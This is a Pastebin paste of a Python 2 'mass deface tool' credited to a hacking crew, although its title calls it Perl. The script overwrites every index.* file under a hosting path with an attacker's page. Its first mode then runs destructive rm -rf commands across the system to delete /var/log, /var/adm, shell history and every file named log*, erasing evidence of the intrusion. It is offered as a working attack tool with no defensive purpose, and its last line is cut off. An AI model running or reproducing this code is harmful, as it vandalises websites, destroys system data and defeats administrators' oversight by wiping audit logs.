Advertisement
Kyfx

Perl Mass Deface Script V1

Mar 21st, 2015
459
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.37 KB | None | 0 0
  1.  
  2. #!/usr/bin/python
  3.  
  4. import sys
  5. import os
  6. import time
  7.  
  8. def usage():
  9. print """
  10. ###############################
  11. # Anomaly 1n The System #
  12. # mass deface tool #
  13. # #
  14. # coded by V4mu #
  15. ###############################
  16.  
  17. Usage:
  18.  
  19. python %s [sites-path] [path-to-your-index] [option]
  20. ex:
  21. python %s /home /var/tmp/index.html 1
  22.  
  23. Option:
  24.  
  25. 1 - auto erase logs
  26. 2 - don't erase logs
  27. """ % (sys.argv[0], sys.argv[0])
  28.  
  29. def mass_deface1():
  30. print "\n[$] Defacing..."
  31. print "... relax and enjoy your ride :)"
  32. print "... just ignore all the messages"
  33. time.sleep(2)
  34. execute = "find %s -name \"index.*\" -exec cp %s {} \;" % (sys.argv[1], sys.argv[2])
  35. os.system(execute)
  36. print "\n[$] *** DONE *** [$]"
  37. print "\n\n... Now we are going to erase all logs"
  38. time.sleep(2)
  39. print "\n[$]Erasing logs..."
  40. os.system("rm -rf /var/log/apache;rm -rf /var/log;rm -rf /var/adm;rm -rf $HISTFILE;")
  41. print "[$] Erasing /var/log/apache"
  42. print "[$] Erasing /var/log"
  43. print "[$] Erasing /var/adm"
  44. print "[$] Erasing $HISTFILE"
  45. os.system("find / -name log* -exec rm -rf {} \\;")
  46. print "[$] Erasing all log*"
  47. os.system("find / -name .bash_history -exec rm -rf .bash_history {} \\;")
  48. print "[$] Erasing all .bash_history"
  49. os.system("find / -name .bash_logout -exec rm -rf .bash_logout {} \\;")
  50. print "[$] Erasing all .bash_logout"
  51. os.system("find /root -name \"*.log\" -exec rm -rf {} \\;")
  52. print "[$] Erasing all /root logs"
  53. print "\n[$] *** DONE *** [$]"
  54. print """
  55. \n\nAnomaly 1n The System
  56. Crew 2o05
  57. #A1TS irc.gigachat.net
  58. \n\n"""
  59.  
  60. def mass_deface2():
  61. print "\n[$] Defacing..."
  62. print "relax and enjoy your ride :)"
  63. print "!!! ignore all the messages !!!"
  64. execute = "find %s -name \"index.*\" -exec cp %s {} \;" % (sys.argv[1], sys.argv[2])
  65. os.system(execute)
  66. print """
  67. \n\nAnomaly 1n The System
  68. Crew 2o05
  69. #A1TS irc.gigachat.net
  70. \n\n"""
  71.  
  72. if __name__ == '__main__':
  73.  
  74. if len(sys.argv) == 1:
  75.  
  76. print """
  77. Options:
  78. -i ---> System Information
  79. -m ---> Mass Deface Tool
  80. """
  81. elif len(sys.argv) == 2:
  82.  
  83. if sys.argv[1] == "-i":
  84. print """
  85. System information
  86. OS: %s
  87. """ % (os.name)
  88. elif sys.argv[1] == "-m":
  89. usage()
  90. else:
  91. print """
  92. Options:
  93. -i ---> System Information
  94. -m ---> Mass Deface Tool
  95. """
  96. else:
  97. if len(sys.argv) != 4:
  98. usage()
  99. else:
  100. if sys.argv[3] == "1":
  101. mass_deface1()
  102. elif sys.argv[3] == "2":
  103. mass_deface2()
  104. else:
  105. print "\n*** ERROR: \"%s\" doens't exist ***\n" % sys.argv[3
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement